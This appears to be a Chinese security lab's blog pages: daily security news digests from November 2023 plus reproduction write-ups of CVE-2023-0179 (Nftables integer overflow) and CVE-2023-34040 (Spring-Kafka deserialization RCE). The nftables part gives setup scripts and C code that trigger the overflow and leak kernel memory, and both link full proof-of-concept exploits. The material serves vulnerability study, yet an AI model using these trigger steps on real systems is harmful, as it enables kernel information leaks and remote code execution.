1、研究人员发现APT组织SideCopy的新一轮攻击活动 https://www.seqrite.com/blog/sidecopys-multi-platform-onslaught-leveraging-winrar-zero-day-and-linux-variant-of-ares-ratSideCopy组织被认为是一个与巴基斯坦相关的APT组织,自2019年以来一直针对南亚国家,主要是印度国防和阿富汗政府机构进行攻击活动,并被认为是是Transparent Tribe(APT36)的一个分支。研究人员在过去几个月里发现该组织多次针对印度政府和国防机构进行的攻击活动。该组织正在利用最新的WinRAR漏洞CVE-2023-38831传播Alla 2、攻击者利用CVE-2023-46604漏洞部署勒索软件TellYouThePass https://arcticwolf.com/resources/blog/tellmethetruth-exploitation-of-cve-2023-46604-leading-to-ransomware/2023年10月,研究人员发现多起涉及利用CVE-2023-46604漏洞的勒索软件攻击活动,该漏洞是Apache ActiveMQ中的一个远程代码执行漏洞。该漏洞于2023年10月27日被披露,攻击者能够利用该漏洞滥用ActiveMQ实施的OpenWire协议来执行任意代码。研究人员表示,CVE-2023-46604在2023年10月10日之前就已经在野外被利用,早于该漏洞的披露以及 3、研究人员发现名为Trap Stealer的窃密木马 https://cyble.com/blog/new-open-source-trap-stealer-pilfers-data-in-just-6-seconds/研究人员通过VirusTotal发现了一个名为“Trap Stealer”的新型窃密木马,并且已经确定其开发者在GitHub上公开分享了完整的源代码。Trap Stealer基于Python编写,通过一个开源构建器构建,具有各种功能,包括绕过安全措施以及窃取用户数据并回传给攻击者。这个窃取工具旨在秘密提取受感染系统中的各种敏感信息,包括Cookies、网络浏览器的浏览历史、Discord应用程序的令牌、剪贴板内容、加密钱包数据、W 4、Cyber Av3ngers 黑客组织声称攻陷十个以色列水处理厂 https://www.secrss.com/articles/60382伊朗背景的 Cyber Av3ngers 的黑客组织在社交媒体上宣布,他们已经入侵了以色列的十个水处理厂。受影响的城市包括赫德拉、帕尔马希姆、索雷克、阿什凯隆、海法、花拉子姆、卡法哈鲁夫、塔贝里亚、埃拉特和丹尼尔。 5、美国航空公司飞行员工会遭受勒索软件攻击 https://www.bleepingcomputer.com/news/security/american-airlines-pilot-union-hit-by-ransomware-attack/拥有美国航空公司 1.5 万名飞行员的大工会——美国飞行员协会(Allied Pilots Association,APA)近期披露其网络系统遭到勒索软件攻击。 6、《浙江省汽车数据处理管理规定》公布 https://www.secrss.com/articles/60379为了规范省内汽车数据处理活动,保护个人、组织的合法权益,维护国家安全和社会公共利益,促进汽车数据合理开发利用,根据《中华人民共和国网络安全法》《中华人民共和国数据安全法》《中华人民共和国个人信息保护法》《汽车数据安全管理若干规定(试行)》等法律法规和国家有关规定,结合浙江省实际情况,制定本规定。 7、德国爆发大规模勒索软件攻击,超 70 个城市市政服务瘫痪 https://www.secrss.com/articles/60347德国地方市政服务提供商 Südwestfalen IT 公司的服务器被未知的黑客团伙加密,为阻止恶意软件传播,该公司限制了 70 多个城市对基础设施的访问权限。 8、Socks5Systemz 代理服务感染全球 10000 个系统 https://www.bleepingcomputer.com/news/security/socks5systemz-proxy-service-infects-10-000-systems-worldwide/一个名为 "Socks5Systemz "的代理僵尸网络通过 "PrivateLoader "和 "Amadey "恶意软件加载器感染了全球计算机,目前受感染的设备已达 10000 台。 9、Android 11 月安全更新修复了 37 个漏洞 https://www.securityweek.com/37-vulnerabilities-patched-in-android-with-november-2023-security-updates/作为 2023 年 11 月 Android 安全更新的一部分,谷歌周一宣布修复 37 个漏洞,并针对 Pixel 设备发布了其他修复程序。 10、海淘网站Zhefengle暴露了数百万订单信息 https://techcrunch.com/2023/11/06/store-millions-chinese-citizen-identity-cards/一名安全研究人员表示,在一家电子商务商店(Zhefengle)将其数据库暴露在互联网上后,他发现数百万中国公民身份号码在网上泄露。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Nftables整型溢出(CVE-2023-0179)
前言 Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。 漏洞成因 漏洞发生在nft_payload_copy_vlan函数内部,由于计算拷贝的VLAN帧的头部的长度时存在整型溢出,导致了拷贝超出头部长度的数据。 代码细节如下: nft_payload_copy_vlan #define VLAN_HLEN 4 /* The additional bytes required by VLAN * (in addition to the Ethernet header) */ #define VLAN_ETH_HLEN 18 /* Total octets in header. */ /* * d表示目的寄存器 * skb通常是网络协议栈的缓存区 * offset为数据包的偏移量 * len为拷贝的长度 */ static bool nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len) { int mac_off = skb_mac_header(skb) - skb->data; //获取以太网帧头部偏移 u8 *vlanh, *dst_u8 = (u8 *) d; struct vlan_ethhdr veth; u8 vlan_hlen = 0;    /*   IEEE 8021Q协议是对标准的以太网帧进行修改,加入了VLAN tag   IEEE 8021AD协议则是加入双重VLAN tag,一个用于内网,一个用于外网    */ if ((skb->protocol == htons(ETH_P_8021AD) ||     skb->protocol == htons(ETH_P_8021Q)) &&    offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN) vlan_hlen += VLAN_HLEN; vlanh = (u8 *) &veth; if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4 u8 ethlen = len; //拷贝的长度 if (vlan_hlen &&    skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0) return false; else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth)) return false; if (offset + len > VLAN_ETH_HLEN + vlan_hlen) ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;       //ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen);       //ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen;       //ethlen = VLAN_ETH_HELN - vlan_hlen - offset       //ethlen = 14 - offset       //如果offset > 14 则会造成 ethlen溢出       memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //这里实际上是拷贝vlan帧的头部,但是如果ethlen发生了溢出则会拷贝多余的字节 len -= ethlen; if (len == 0) return true; dst_u8 += ethlen; offset = ETH_HLEN + vlan_hlen; } else { offset -= VLAN_HLEN + vlan_hlen; } return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0; } 该函数实际的作用就是从数据包中将VLAN头拷贝到指定的寄存器中进行存储,函数开始会对数据包的协议进行校验,若是为IEEE 8021Q或IEEE 8021AD协议则说明以太网帧中增加了VLAN TAG,那么再拷贝VLAN头时需要将TAG也计算在内。在拷贝之前需要先计算待拷贝的长度,因此会进行一个长度的校验,若偏移加长度超过了VLAN帧的头部长度时,就需要对拷贝长度进行一个校准,防止拷贝过多的数据,但是这个校验有问题,通过上述推导的公式可以发现,当offset大于14且小于22并且offset+len的值大于22时,ethlen就会发生溢出,这是因为ethlen本身为无符号整型,当得到结果为负数时 这里有一个需要注意的点,在计算时ethlen时会加上vlan_hlen而不是减掉是因为在拷贝的时候会默认先减去vlan_hlen。 那么当offset = 19而len = 4时,则offset + len = 23 > 22,因此会进入if语句内部,接着ethlen = 14 - 19 = -5(发生溢出) 环境搭建 这里采用的是qemu + linux6.16内核进行环境的搭建。 作者创建虚拟网络设备的脚本如下 https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh#!/bin/sh # create the peer virtual device ip link add eth0 type veth peer name host-enp3s0 ip link set host-enp3s0 up ip link set eth0 up ip addr add 192.168.137.137/24 dev host-enp3s0 # add two vlans on top of it ip link add link host-enp3s0 name vlan.5 type vlan id 5 ip link add link vlan.5 name vlan.10 type vlan id 10 ip addr add 192.168.147.137/24 dev vlan.10 ip link set vlan.5 up ip link set vlan.10 up ip link set lo up # create a bridge to enable hooks ip link add name br0 type bridge ip link set dev br0 up ip link set eth0 master br0 ip addr add 192.168.157.137/24 dev br0 可以看到作者在漏洞利用之前需要创建一些虚拟的网络设备,例如虚拟设备对,vlan接口以及网桥。这是因为想要进入nft_payload_copy_vlan函数的执行流程,需要数据包在vlan上进行传输才可以。代码如下所示: void nft_payload_eval(const struct nft_expr *expr,      struct nft_regs *regs,      const struct nft_pktinfo *pkt) { const struct nft_payload *priv = nft_expr_priv(expr); const struct sk_buff *skb = pkt->skb; u32 *dest = &regs->data[priv->dreg]; int offset; if (priv->len % NFT_REG32_SIZE) dest[priv->len / NFT_REG32_SIZE] = 0; switch (priv->base) { case NFT_PAYLOAD_LL_HEADER: //数据链路层 if (!skb_mac_header_was_set(skb)) //判断数据包是否为mac头 goto err; if (skb_vlan_tag_present(skb)) { //判断数据包是否有vlan标志 if (!nft_payload_copy_vlan(dest, skb,   priv->offset, priv->len)) goto err; return; } offset = skb_mac_header(skb) - skb->data; break; ... 因此为了使得程序进入漏洞函数,需要建设特定的网络环境。而该网络拓扑与Docker的很像,具体内容可以参考https://cloud.tencent.com/developer/article/1835299。网络拓扑大致如下,使用虚拟设备对的作用时,一端接口作为数据的输入而另一端接口作为数据的流出,那么后续进行hook的时候只需要hook一个点就行,设置vlan接口是因为只有vlan的数据包才能够进入nft_payload_copy_vlan函数的流程内,而在vlan.5上再次创建一个vlan接口是因为使得数据包能够加入双层vlan tag,这样可以通过IEEE 8021AD协议传输。 但是我在qemu的环境调试时数据包的协议都不是IEEE 8021AD而是IEEE 8021Q,在查询资料https://blog.csdn.net/m0_45406092/article/details/118497597发现,可以指定vlan的类型为IEEE 8021AD,因此修改了一下脚本。 #!/bin/sh # create the peer virtual device ip link add eth32 type veth peer name host-enp3s0 ip link set host-enp3s0 up ip link set eth32 up #ip addr add 192.168.137.137/24 dev host-enp3s0 # add two vlans on top of it ip link add link host-enp3s0 name vlan.5 type vlan id 5 ip link add link vlan.5 name vlan.10 type vlan protocol  802.1ad id 10 #ip addr add 192.168.147.137/24 dev vlan.5 ip link set vlan.5 up ip link set lo up ip link set vlan.10 up 指定协议之后,数据包的协议也被为IEEE 8021AD了 至此环境就搭建完毕了。这里需要注意的是在编译内核的时候由于需要用到vlan、bridge以及IEEE 8021Q,因此需要开启这些模块,否则在创建设备时会出现unknow的错误。 漏洞验证 可以使用libnftnl库进行nftableshttps://github.com/tklauser/libnftnl/tree/master进行规则的设置 nftables需要设置table -> chain -> rule -> expr,由于我们需要捕获在虚拟设备对上的数据包,因此可以设置协议类型为NFPROTO_NETDEV,该协议类型是处理来自入口的数据包并且配合ingress的HOOK点以及chain可以指定HOOK点在具体的设备上,那么配合我们搭建的网络设备环境,可以指定HOOK点为以太网口(eth32)。 ... if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL)) { perror("[-] create table"); exit(-1); } /* 2. create chain */ printf("[2] create chain\n"); struct unft_base_chain_param up; up.hook_num = NF_NETDEV_INGRESS; up.prio = INT_MIN; if (create_chain(nl, table_name, chain_name,  NFPROTO_NETDEV, &up, &seq, NULL, dev_name)) { perror("[-] create chain"); exit(-1); } ... 然后再设置payload的表达式触发漏洞,我们将offset设置为19,len设置为5 rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00); 可以看到我们成功将ethlen的值设置为了251的值,该值是远远超出了以太网帧头部的长度了。 可以看到寄存器中的值中除了以太网帧头部的数据,还有一些额外的数据了。 为了将这些数据打印出来,则需要利用nftables中自带的set(集合),集合实际是一组数据,例如我们需要过滤几个ip地址,就能将这些ip地址作为一个集合作为过滤的名单,而集合中有一种属性是map即以键值对的形式存储值,而这些值实际是可以通过寄存器进行添加的,那么我们就将上述寄存器的值添加到集合中使用nft list ruleset的命令就可以再屏幕中获取内核的信息了。创建集合的代码如下: //创建集合 struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family) { struct nftnl_set *s = NULL; s = nftnl_set_alloc(); if (s == NULL) { perror("OOM"); exit(EXIT_FAILURE); } nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(s, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4); /* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We * should place these datatypes in a public header so third party * applications still work with nftables. */ nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //以16进制的形式存储数据 nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4); nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//以16进制的形式存储数据 nftnl_set_set_u32(s, NFTNL_SET_ID, 1); nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP);  //以map存储数据 return s; } 在创建完集合后,往集合里面添加数据是通过表达式完成的,而动态的添加以及删除集合中的元素则是通过dynset表达式进行处理,添加表达式代码如下: void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data) {    struct nftnl_expr *expr = nftnl_expr_alloc("dynset");    nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //需要指定添加元素的集合名称    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //指定操作为添加操作    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //键    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//值    nftnl_rule_add_expr(r, expr); } 这里需要注意的是,我们指定了捕获数据包的网口,因此数据包需要途径该网口才能够捕获数据包,下面是作者使用的数据包发送的代码,首先是绑定发送数据包的端口为vlan.10,由于vlan.10是在vlan.5上创建的,因此从vlan.10出去的数据包会被打上双层vlan tag,并且vlan.5是在host-enps32上创建的,而host-enps32又是与eth32构成虚拟设备对,因此数据包最终会从eth32发出并且携带双重的vlan tag从而进入nft_payload_copy_vlan的函数内部,触发漏洞。 int send_packet() {    int sockfd;    struct sockaddr_in addr;    char buffer[] = "This is a test message";    char *interface_name = "vlan.10";  // double-tagged packet    int interface_index;    struct ifreq ifr;    memset(&ifr, 0, sizeof(ifr));    memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);    if (sockfd < 0) {        perror("[-] Error creating socket");        return 1;   }    // Set the SO_BINDTODEVICE socket option    if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {        perror("[-] Error setting SO_BINDTODEVICE socket option");        return 1;   }    memset(&addr, 0, sizeof(addr));    addr.sin_family = AF_INET;    addr.sin_addr.s_addr = inet_addr("192.168.123.123");  // random destination    addr.sin_port = htons(1337);        // Send the UDP packet    if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {        perror("[-] Error sending UDP packet");        return 1;   }    close(sockfd);    return 0; } 可以看到最终完成了内核信息的泄露。 完整poc:https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c 漏洞利用 利用JUMP调整stacksize 设置寄存器的值 利用nft_payload_copy_vlan触发漏洞拷贝payload
网络安全日报 2023年11月07日
1、“Looney Tunables”Glibc 漏洞在云攻击中被利用 https://www.securityweek.com/looney-tunables-glibc-vulnerability-exploited-in-cloud-attacks/ 最近在 GNU C 库 (glibc) 中修补的一个严重权限升级漏洞已被一个以使用 Kinsing 恶意软件及其加密劫持操作而闻名的威胁组织用于云攻击。 该安全漏洞编号为 CVE-2023-4911,名为Looney Tunables,已被发现影响主要 Linux 发行版,包括 Debian、Gentoo、Red Hat 和 Ubuntu。它允许本地攻击者以提升的权限执行任意代码。 2、微软表示 ZDI 披露的 Exchange“零日漏洞”已经修补或并不紧急 https://www.securityweek.com/microsoft-says-exchange-zero-days-disclosed-by-zdi-already-patched-or-not-urgent/ 微软表示,趋势科技零日计划 (ZDI) 上周披露的四个 Exchange 漏洞要么已经得到修补,要么不需要立即关注。 3、勒索软件攻击利用严重 Confluence 漏洞(CVE-2023-22518) https://securityaffairs.com/153732/security/confluence-flaw-ransomware-attacks.html 专家警告威胁行为者开始利用 Confluence 数据中心和 Confluence 服务器中最近的严重缺陷 CVE-2023-22518 4、QNAP 修复了 QTS 操作系统和应用程序中的两个严重漏洞 https://securityaffairs.com/153714/security/qnap-command-injection-flaws.html 中国台湾供应商 QNAP 警告其 NAS 设备上的 QTS 操作系统和应用程序存在两个严重的命令注入漏洞。 5、攻击者滥用 GOOGLE 日历服务作为 C2 基础设施 https://securityaffairs.com/153700/hacking/google-calendar-rat-attacks.html 谷歌警告多个威胁参与者正在利用其日历服务作为命令和控制(C2)基础设施。多个威胁参与者共享一个名为“Google Calendar RAT”的公共概念验证(PoC)漏洞,该漏洞依赖日历服务来托管命令和控制(C2)基础设施。 6、Okta 最近的客户支持数据泄露影响了 134 名客户 https://thehackernews.com/2023/11/oktas-recent-customer-support-data.html 身份和身份验证管理提供商 Okta 周五透露,最近的支持案例管理系统漏洞影响了其 18,400 名客户中的 134 名。 7、研究人员发现名为Socks5Systemz的代理僵尸网络 https://www.bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey 研究人员发现了一个由恶意软件PrivateLoader和Amadey传播的代理僵尸网络,这两个加载器经常被攻击者用来传播一种恶意软件并建立僵尸网络,研究人员将此种用于构建代理僵尸网络的恶意软件命名为Socks5Systemz。这个代理恶意软件并不是新发现的,在Twitter上最早可以追溯到2016年。研究人员发现了与这个恶意软件相关的几个服务器,以及一个Telegram用户,他通过利用这个代 8、北约在5G演习中试用“抗量子”加密 https://www.secrss.com/articles/60270 根据主办方提供的一份新闻稿,重点领域之一就是让演示者展示如何利用虚拟现实技术、安全的后量子加密技术和传感器融合技术提高指挥和控制能力。 9、全球近50个国家签署倡议:承诺永不向网络犯罪团伙支付赎金 https://www.secrss.com/articles/60249 在华盛顿特区举办的第三届国际反勒索软件倡议峰会上,近50个国家将签署有史以来首个联合反勒索软件倡议政策声明——其政府机构将停止向勒索软件团伙支付赎金。 10、Microsoft承诺加强安全性,作为“安全未来”计划的一部分 https://www.bleepingcomputer.com/news/microsoft/microsoft-pledges-to-bolster-security-as-part-of-secure-future-initiative/ Microsoft宣布了“安全未来计划”,承诺提高其产品和平台的内置安全性,以更好地保护客户免受不断升级的网络安全威胁。如果该公司兑现其承诺,这将通过解决眼前的问题并预测全球日益复杂的攻击带来的未来挑战来增强客户安全性。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月06日
1、BlackCat勒索团伙声称对医疗公司Henry Schein进行攻击 https://www.bleepingcomputer.com/news/security/blackcat-ransomware-claims-breach-of-healthcare-giant-henry-schein/ BlackCat勒索团伙(ALPHV)将医疗公司Henry Schein添加到其数据泄露网站的受害者名单中,声称他们侵入了该公司的网络,并窃取了35TB的敏感文件,包括工资数据和股东信息。该团伙称,由于谈判未能成功,正当Henry Schein几乎完成了所有系统的恢复工作时,他们再次加密了公司的设备。BlackCat勒索团伙在其数据泄露网站上删除了有关Henry S 2、HelloyKitty勒索软件利用Apache ActiveMQ漏洞进行攻击 https://www.rapid7.com/blog/post/2023/11/01/etr-suspected-exploitation-of-apache-activemq-cve-2023-46604/ HelloKitty勒索软件正在利用Apache ActiveMQ远程代码执行(RCE)漏洞来侵入网络并进行勒索攻击。该漏洞被标记为CVE-2023-46604,是一个高危(CVSS v3评分:10.0)的RCE漏洞,允许攻击者通过利用OpenWire协议中的序列化类类型执行任意shell命令。该漏洞在2023年10月25日的安全更新中得到解决,但研究人员于10月27日发现攻击者正在 3、墨西哥克雷塔罗洲际机场遭受网络攻击 https://therecord.media/queretaro-international-airport-mexico-cyberattack 墨西哥克雷塔罗国际机场证实遭受网络攻击,表示此次攻击可追溯到一名员工下载的包含恶意软件的文件,并称机场的运营安全没有受到损害,应急小组已经控制并隔离了这次攻击,而且已经与相关机构进行联系。LockBit勒索团伙宣称对此次事件负责,并威胁将在11月27日泄露数据。 4、思科修复其网络安全产品中的27个安全漏洞 https://www.securityweek.com/cisco-patches-27-vulnerabilities-in-network-security-products/ 思科发布了一系列软件更新,以解决自适应安全设备(ASA)、Firepower管理中心(FMC)和Firepower威胁防御(FTD)产品中的27个安全漏洞。其中最严重的漏洞是CVE-2023-20048(CVSS评分为9.9),这是FMC中的一个命令注入漏洞,由Web服务接口发送的配置命令的授权不足而引起。其中的8个中危漏洞可能导致拒绝服务、任意文件下载、SAML声明劫持、跨站脚本(XSS)攻击、策略绕过、检测 5、美国航空公司飞行员工会遭受勒索软件攻击 https://www.bleepingcomputer.com/news/security/american-airlines-pilot-union-hit-by-ransomware-attack/ 美国飞行员协会(APA)披露了发生在其系统中的勒索软件攻击事件。该工会在一份声明中表示,10月30日该工会经历了一起网络安全事件。尽管调查仍在进行中,但已经确定了这次事件是由于勒索软件引起的,某些系统已被加密。APA尚未透露在攻击中是否泄漏了飞行员的个人信息或受影响的个人数量。 6、研究人员发现WhatsApp的第三方恶意组件 https://securelist.com/spyware-whatsapp-mod/110984/ 研究人员在WhatsApp的修改版本中发现恶意组件。篡改的客户端清单包含了在原始WhatsApp客户端中找不到的可疑组件(一个服务和一个广播接收器)。广播接收器用以监听系统和其他应用程序的广播消息,例如手机开始充电、收到短信或下载器完成下载等。当接收器收到这样的消息时,它调用事件处理程序。在WhatsApp间谍修改版本中,接收器运行一个服务,当手机开机或开始充电时启动间谍模块。该服务会查看恶意软件代码中的Application_DM常量,以选择受感染设备将连接的命令和控制(C&C)服务器。 7、微软Exchange受到0day漏洞的影响 https://www.bleepingcomputer.com/news/microsoft/new-microsoft-exchange-zero-days-allow-rce-data-theft-attacks/ Microsoft Exchange受到四个零日漏洞的影响,攻击者可以远程利用这些漏洞来执行任意代码或泄露敏感信息。研究人员向微软报告了这些漏洞,尽管微软证实了这些漏洞,但其安全工程师认为这些漏洞不足以立即提供服务,因此推迟了修复。所有这些漏洞都需要进行身份验证才能被利用,这导致这些漏洞的CVSS评分可能介于7.1和7.5之间。此外,需要身份验证才能进行漏洞利用可能是微软没 8、新加坡公共卫生服务受到DDoS攻击 https://therecord.media/singapore-public-health-services-ddos-attack 一家监督新加坡公共卫生机构的健康技术机构Synapxe表示,黑客通过分布式拒绝服务(DDoS)攻击中断了新加坡公共卫生保健机构的互联网连接。新加坡所有公共卫生保健集群的互联网连接中断始于周三,持续约七个小时。在此期间,员工无法访问网站、电子邮件和生产工具等服务。DDoS攻击通过向网站发送垃圾互联网流量来阻止合法用户访问它们,该机构表示,目前没有证据表明公共卫生保健或患者数据以及内部网络已经遭受了侵犯。根据该机构的说法,对新加坡卫生保健机构的DDoS攻击仍在 9、时隔八年,通用漏洞评分系统标准CVSS v4.0正式发布 https://thehackernews.com/2023/11/first-announces-cvss-40-new.html 近日,事故响应与安全团队论坛(FIRST)正式发布了通用漏洞评分系统标准CVSS v4.0,这个全新版本距离上一版 CVSS v3.0 已经过去了八年。 10、LAZARUS通过新的KANDYKORN MACOS 恶意软件瞄准区块链工程师 https://securityaffairs.com/153622/hacking/lazarus-kandykorn-malware.html Lazarus 组织正在使用新的 KandyKorn macOS 恶意软件来攻击区块链工程师。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Kafka反序列化RCE漏洞(CVE-2023-34040)
漏洞描述 Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录 (record) 指 Kafka 消息中的一条记录。 受影响版本中默认未对记录配置 ErrorHandlingDeserializer,当用户将容器属性 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 设置为 true(默认为 false),并且允许不受信任的源发布到 Kafka 主题中时,攻击者可将恶意 payload 注入到 Kafka 主题中,当反序列化记录头时远程执行任意代码。 影响版本 2.8.1 <= Spring-Kafka <= 2.9.103.0.0 <= Spring-Kafka <= 3.0.9 漏洞复现 这一个漏洞所影响的组件其实是 Spring-Kafka,严格意义上来说并不算是 kafka 的漏洞,应该算是 Spring 的漏洞。 漏洞前置知识 先来看一看 SpringBoot 和 Kafka 是怎么完成通讯/消费的 工作流程如下 1、生产者将消息发送到 Kafka 集群中的某个 Broker(也可以是多个)2、Kafka 集群将消息存储在一个或多个分区中,并为每个分区维护一个偏移量3、消费者订阅一个或多个主题,并从 Kafka 集群中读取消息。4、消费者按顺序读取每个分区中的消息,并跟踪每个分区的偏移量。 ErrorHandlingDeserializer:是 Kafka中的一种反序列化器(Deserializer),它可以在反序列化过程中处理异常和错误。 checkDeserExWhenKeyNull && checkDeserExWhenValueNull:是 Kafka 中的一种序列化器(Serializer),它可以在序列化过程中检查键(key/value)是否为 null,并在发现值为 null 时抛出异常。 再简单整理一下漏洞条件 在受到影响的版本中,默认未对记录配置 ErrorHandlingDeserializer容器属性 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 设置为 true 环境搭建 其中需要我们起一个 Kafka 的服务,用来接收消息,本机上起比较麻烦,可以在 vps 上用 docker 迅速搭建,且需注意,Kafka 要能够接受外连,docker-compose.yml 如下 version: '2' services: zookeeper:   image: zookeeper   restart: always   ports:     - "2181:2181"   container_name: zookeeper kafka:   image: wurstmeister/kafka   restart: always   ports:     - "9092:9092"     - "9094:9094"   depends_on:     - zookeeper   environment:     KAFKA_ADVERTISED_HOST_NAME: 124.222.21.138     KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181     KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094     KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://124.222.21.138:9092,SSL://124.222.21.138:9094     KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL     KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT   container_name: kafka Spring Kafka 的生产者和消费者可以通过使用 Spring Kafka 提供的 KafkaTemplate 和 `@KafkaListener 注解来编写。 生产者可以使用 KafkaTemplate 来发送消息到 Kafka 集群: package com.drunkbaby.springkafkatest.controller;     import com.drunkbaby.springkafkatest.common.KafkaInfo;   import org.springframework.beans.factory.annotation.Autowired;   import org.springframework.kafka.core.KafkaTemplate;   import org.springframework.kafka.support.SendResult;   import org.springframework.util.concurrent.ListenableFuture;   import org.springframework.web.bind.annotation.PostMapping;   import org.springframework.web.bind.annotation.RequestMapping;   import org.springframework.web.bind.annotation.RestController;     import java.time.LocalDateTime;   import java.util.concurrent.ExecutionException;     @RestController   @RequestMapping("/producer")   public class ProducerController {      @Autowired      private KafkaTemplate<String,String> kafkaTemplate;        @PostMapping("/fireAndForget")      public String fireAndForget() {          kafkaTemplate.send(KafkaInfo.TOPIC_WELCOME, "fireAndForget:" + LocalDateTime.now());          return "success";     }   } 消费者可以使用 @KafkaListener 注解来监听 Kafka 集群中的消息: package com.drunkbaby.springkafkatest.consumer;     import com.drunkbaby.springkafkatest.common.KafkaInfo;   import org.springframework.kafka.annotation.KafkaListener;   import org.springframework.messaging.MessageHeaders;   import org.springframework.messaging.handler.annotation.Headers;   import org.springframework.messaging.handler.annotation.Payload;   import org.springframework.stereotype.Component;     @Component   public class Consumer {      @KafkaListener(topics = KafkaInfo.TOPIC_WELCOME)      public String consumer2(@Payload String message, @Headers MessageHeaders headers) {          System.out.println("消费者(注解方式):收到消息==> ");          System.out.println(" message:" + message);          System.out.println(" headers:");          headers.keySet().forEach(key -> System.out.println("   " + key + ":" + headers.get(key)));          return "success";     } 连接成功 访问 http://localhost:8083/producer/sync 发送一条记录 构造 payload 实际影响到的是 Consumer,且 Consumer 要设置 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 为 true ConcurrentKafkaListenerContainerFactory<String, Greeting> factory = new ConcurrentKafkaListenerContainerFactory<>();   factory.getContainerProperties().setCheckDeserExWhenValueNull(true);   factory.getContainerProperties().setCheckDeserExWhenKeyNull(true); payload 参考 https://github.com/Contrast-Security-OSS/Spring-Kafka-POC-CVE-2023-34040 漏洞分析 主要是来看反序列化的部分 断点会先走到 org.springframework.kafka.listener.ListenerUtils#getExceptionFromHeader 方法,它这里面会获取到 PoC 中的 KEY_DESERIALIZER_EXCEPTION_HEADER,并将其作为 headers 往下跟进 byteArrayToDeserializationException() 方法,这里就直接到反序列化的部分了,而在反序列化之前做了一次 resolveClass() 的校验。 而这里的 resolveClass() 校验是一次性的,这就代表我们可以构造其他的 Payload,如 CC 链等,证实是可以打通的 之后便会进入到对应类的 readObject() 方法 漏洞修复 https://github.com/spring-projects/spring-kafka/commit/25ac793a78725e2ca4a3a2888a1506a4bfcf0c9d相当于把这里的 header 头加黑了
